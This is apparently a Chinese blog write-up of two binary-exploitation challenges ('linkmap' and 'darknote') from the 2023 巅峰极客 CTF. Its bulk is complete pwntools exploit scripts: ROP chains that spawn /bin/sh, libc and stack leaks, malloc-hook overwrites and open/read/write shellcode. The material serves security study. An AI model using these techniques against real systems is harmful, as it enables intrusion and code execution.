首页 > 其他分享 >巅峰极客

巅峰极客

时间:2023-08-03 11:45:41浏览次数:33  
标签:极客 p64 mov pop 巅峰 add bss payload

巅峰极客

就复现两道题,另一个没学过,就先不学习了.

linkmap

没有报名这个比赛,但是看了第一题,感觉挺有意思的,刚开始没有什么好的思路,后来听了zikh师傅的思路(发现自己还是做的题型有点少)

具体做法

1、就是利用mov rax, qword ptr [rbp - 8] ; mov qword ptr [rdx], rax ; nop ; pop rbp ; ret 向bss段写read的地址,这是因为read的开始的真实地址距离syscall很近

2、在利用csu向bss段中进行布局(就是ret2syscall,不过要覆盖bss中的read地址为syscall)

需要注意的是调用read函数是通过read的plt而不是程序中自带的

from tools import *
p,elf,libc=load('ezzzz')
bss = elf.bss() + 0x100
log_addr('bss')
debug(p,0x400772)
pop_rsi_r15=0x4007e1          #pop rsi ; pop r15 ; ret
csu2=0x4007C0
csu1=0x4007DA 
read_got=0x600fd8
read_plt=elf.plt['read']
leave_ret=0x400772 
pop_rbp=0x400570
magic=0x400672   #mov rax, qword ptr [rbp - 8] ; mov qword ptr [rdx], rax ; nop ; pop rbp ; ret 
pop_rdi=0x4007e3
pop_rsi_r15=0x4007e1
ret=0x400773
magic_read=0x400752 
payload=b'a'*0x10+p64(bss)+p64(magic_read)+b'/bin/sh\x00'
p.send(payload)
payload=b'a'*0x10+p64(bss)+p64(csu1)
payload+=p64(0)  # rbx
payload+=p64(1)  # rbp
payload+=p64(0x400e28)  # r12
payload+=p64(bss)  # r13 -> rdx 
payload+=p64(bss)  # r14 -> rsi
payload+=p64(0)  # r15 -> edi
payload+=p64(csu2)
payload+=p64(0)  # add
payload+=p64(0)  # rbx
payload+=p64(read_got+8)  # rbp
payload+=p64(0x400e28)  # r12
payload+=p64(bss+0x70)  # r13 -> rdx 
payload+=p64(0)  # r14 -> rsi
payload+=p64(0)  # r15 -> edi
payload+=p64(magic)  # read@addr->bss
payload+=p64(bss-0x3a-8)   
payload+=p64(pop_rsi_r15)
payload+=p64(bss-0x3b+1) + p64(0)
payload+=p64(read_plt)
payload+=p64(pop_rbp)
payload+=p64(bss-0x18-0x18)
payload+=p64(leave_ret)
payload+=b'/bin/sh\x00'
pause()
p.send(payload)

pause()
payload=b'a'*(0x2a-8-0x18)+p64(bss-0x10-0x18)
payload+=p64(pop_rsi_r15)+p64(0)*2
payload+=p64(pop_rdi)+p64(bss+0xc8)+b'\x2f'
p.send(payload)

p.interactive()    

darknote

这道题怎么说呢,刚开始没看懂是参考的星盟师傅的wp,星盟做出来的那个师傅很强,

程序分析

漏洞就是整数溢出,申请的大小是输入的8倍,但在add中检查的还是list

image-20230803111232621

攻击思路

1 利用整数溢出向main_arena+56中写入我们申请的chunk地址,然后像这个chunk中写入一个地址,在通过add实现任意地址写

2 利用任意地址地址写将写有1. Add Note\n地址中的数据写为got表和environ变量用于泄露libc和栈地址

3 向malloc_hook中写入add rsp,0x100执行栈中数据执行mprotectorw(这个布局有点巧妙,而且每个人有自己风格,就不再说了)

from tools import *
context.clear(arch='amd64', os='linux', log_level='debug')
p = process('./darknote')
add_p=0x401B7B
read_p=0x0401BCA
start_p=0x40174F
def add(index, note):
    p.sendlineafter(b'>> ', b'1')
    p.sendlineafter(b'Index: ', str(index).encode())
    p.sendafter(b'Note: ', note)

p.sendlineafter(b'want?\n', str(0x20010000))

add(0x4DB75, p64(0)+p64(0x71)+p64(0x404240)+ b'\n')
add(0, b'\n')
add(0, b'\0' * 0x10 + p64(0x403FB0)[:6] + b'\n')

p.recvuntil(b'=\n')
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x10dfc0
log_addr('libc_base')

add(0x4DB75, p64(0)+p64(0x71)+p64(0x404240) + b'\n')
add(0, b'\n')
add(0, b'\0' * 0x10 + p64(libc_base + 0x1ef600)[:6] + b'\n')

p.recvuntil(b'=\n')
stack_addr = u64(p.recv(6).ljust(8,b'\x00'))
log_addr('stack_addr')

print(hex(stack_addr - 0x70))
add(0x4DB75, p64(0)+p64(0x71)+p64(stack_addr - 0x98)+ b'\n')
add(0, b'\n')
payload=p64(libc_base + 0x23b6a)      # pop rdi ,ret ;
payload += p64(stack_addr & (~0xfff)) #
payload += p64(libc_base + 0x2601f)   # pop rsi ,ret ;
payload += p64(0x1000)
payload += p64(libc_base + 0x142c92)  # pop rdx ,ret ;
payload += p64(7)
payload += p64(libc_base + 0x36174)   # pop rax ,ret ;
payload += p64(0x1a)+p64(0)           

add(0, p64(0xdeadbeef)*3 + payload + b'\n')  #12 * 8    #当前指令的下一条指令的地址
shellcode = asm('''
    lea rsi, next[rip]            
    mov edi, 0
    mov edx, 0x200
    mov eax, 0
    syscall
next:
''')  #read

add(0x4DB75, p64(0)+p64(0x71)+p64(stack_addr - 0x40) + b'\n')
add(0, b'\n')
payload = p64(libc_base + 0x9c272)  #sub    eax,0x10 ,ret ;
payload += p64(libc_base + 0x630a9) #syscall 
payload += p64(stack_addr - 0x18)
add(0,payload + shellcode + b'\n')

add(0x4DB75, p64(0)+p64(0x71)+p64(libc_base + 0x1ecb70-0x10)+ b'\n')   # __malloc_free
add(0, b'\n')
add(0, p64(libc_base + 0xbb92c) + b'\n')  #add    rsp,0x100

p.sendlineafter(b'>> ', b'1')
debug(p,add_p,start_p)
p.sendlineafter(b'Index: ', str(0).encode())
shellcode2 = asm('''
    mov eax, 0x67616c66 ;// flag
    push rax

    mov rdi, rsp
    xor eax, eax
    mov esi, eax
    mov al, 2
    syscall ;// open

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x50
    xor eax, eax
    syscall ;// read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    syscall ;// write
''')
p.send(shellcode2)

p.interactive()

标签:极客,p64,mov,pop,巅峰,add,bss,payload
From: https://www.cnblogs.com/trunk/p/17602869.html

相关文章

  • CTFer成长记录——CTF之Web专题·极客大挑战—Upload
    一、题目链接https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]Upload二、解法步骤  本题是一个文件上传题目,先测试是黑名单还是白名单:随便上传一个文件,提示:  看来只能上传图片类型,这个时候我们bp抓包并且修改包中的content字段,将其改......
  • CTFer成长记录——CTF之Web专题·极客大挑战 2019—http
    一、题目链接https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]Http二、解法步骤  本题名叫http,那么应该与http请求包里面的东西有关。   主页是一个招新页面,没有什么特别的,看看源代码:  在右侧的最下面发现了另一个页面,访问看看......
  • 巅峰极客复现
    题找不到了,只能学学原理了hellosql这道过滤了sleep等所有的延时函数,大佬的方式是用计算笛卡尔积的方式达到延时的效果 这种方式能够达到延时的效果,但是比较不稳定,如果表中数据太少可能会达不到延时的效果,如果数据太多有可能会让网站崩溃大佬wp中的代码:importrequests#......
  • 超强阵容!HarmonyOS极客马拉松2023专家评审团来袭!
     数十位重量级专家现身决赛现场,为参赛者提供多角度专业点评。12支队伍,46位选手,齐聚东莞·松山湖,围绕HarmonyOS技术特性,共同挑战36小时极限编程,谁将问鼎决赛之巅,8.3日-5日,我们拭目以待! ......
  • 复现:巅峰极客2023
    weclomefoundme一个dmp文件,用010打开查找hint,提示Netflixpictureformat,搜索可知Netflix的图片类型为AVIFavif文件头为0000001C6674797061766966,直接在010找出来分离(也可以用foremost分离,avif文件被归入mp4中)一起学生物hint:考虑关接氨基酸所在的位置两张pn......
  • 巅峰极客 2023 逆向 Writeup
    巅峰极客WriteUpm1_read白盒AES,其他师傅也写的比较清楚了。我当时用的FridavarbaseAddr=Module.findBaseAddress("m1_read.exe");varwhiteAES=newNativeFunction(baseAddr.add(0x4BF0),'pointer',['pointer','pointer'])varcount=9;In......
  • [极客大挑战 2019]Http
    [极客大挑战2019]Http题目来源:buuctf题目类型:web涉及考点:HTTP请求头1.先简单介绍一下这题将要用到的几个header组成部分名称作用referer记录当前请求页面的来源页面的地址。比如在https://www.xxxx.com里有一个www.baidu.com链接,那么点击这个www.baidu.com,它......
  • 巅峰极客2023 MISC
    一、welcome1.直接base64解码,得到flag二、foundme1.得到内存转储文件,直接foremost分离会得到一堆文件,其中mp3无法播放并且与正常的mp3文件源码不同,同时strings关键字flag发现了hint2.找与Netflix相关的文件,发现一个avif,是一个种类图片的后缀,同时使用010打开三个mp3发现开头......
  • 2023巅峰极客 Crypto Rosita
    解题思路根据以上方法求出模数pdeffind_gcd(numbers):#求c中各元素的最大公约数result=numbers[0]fornuminnumbers[1:]:result=gcd(result,num)returnresultx=[(471351354539958688729428118750100914168908093467492698485305204663714......
  • 2024-7-21巅峰极客
    菜鸡打ctf,做了一天牢,算上签到题一共做上两道签到  数学但高中 给出了一大串,一开始没看懂,学姐提醒才知道要画图python太菜,只好手动一个一个粘公式画图网址:https://www.desmos.com/calculator?lang=zh-CN最后生成的图片: 然后试了半天sql没注进去,大佬的代码也没看懂......